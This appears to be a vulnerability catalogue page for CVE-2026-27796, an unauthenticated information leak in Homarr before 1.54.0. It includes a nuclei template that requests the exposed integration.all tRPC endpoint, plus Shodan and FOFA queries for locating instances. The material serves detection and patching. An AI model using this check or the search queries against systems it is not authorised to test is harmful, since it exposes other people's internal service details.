Browse / CVEs / CVE-2026-27796
CVE-2026-27796· homarr-labs / homarr· CWE-200
Homarr < 1.54.0 - Information Disclosure
mediumseverity
5.3CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it
Homarr < 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.
Impact
Unauthenticated attackers can access sensitive integration metadata, potentially exposing internal service details.
Fix
Update to version 1.54.0 or later.
How to confirm it
Send: GET {{BaseURL}}/api/trpc/integration.all
Positive when: status 200 AND contains "\"result\":{\"data\":{\"json\":" and "\"kind\":\"" AND not contains "UNAUTHORIZED"Run it with nuclei: nuclei -id CVE-2026-27796 -u <target>
The full check
id: CVE-2026-27796
info:
name: Homarr < 1.54.0 - Information Disclosure
author: str4k3r
severity: medium
description: |
Homarr < 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.
impact: |
Unauthenticated attackers can access sensitive integration metadata, potentially exposing internal service details.
remediation: |
Update to version 1.54.0 or later.
reference:
- https://github.com/homarr-labs/homarr/security/advisories/GHSA-m4vc-4prp-cvp7
- https://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257
- https://nvd.nist.gov/vuln/detail/CVE-2026-27796
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-27796
epss-score: 0.01261
epss-percentile: 0.69861
cwe-id: CWE-200
metadata:
verified: true
max-request: 1
vendor: homarr-labs
product: homarr
fofa-query: title="Homarr"
shodan-query: http.title:"Homarr"
tags: cve,cve2026,homarr,exposure,unauth
http:
- method: GET
path:
- "{{BaseURL}}/api/trpc/integration.all"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '"result":{"data":{"json":'
- '"kind":"'
condition: and
- type: word
part: body
words:
- "UNAUTHORIZED"
negative: trueReferences
- https://github.com/homarr-labs/homarr/security/advisories/GHSA-m4vc-4prp-cvp7
- https://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257
- https://nvd.nist.gov/vuln/detail/CVE-2026-27796
Use this check only on systems you are authorised to test. Where the data comes from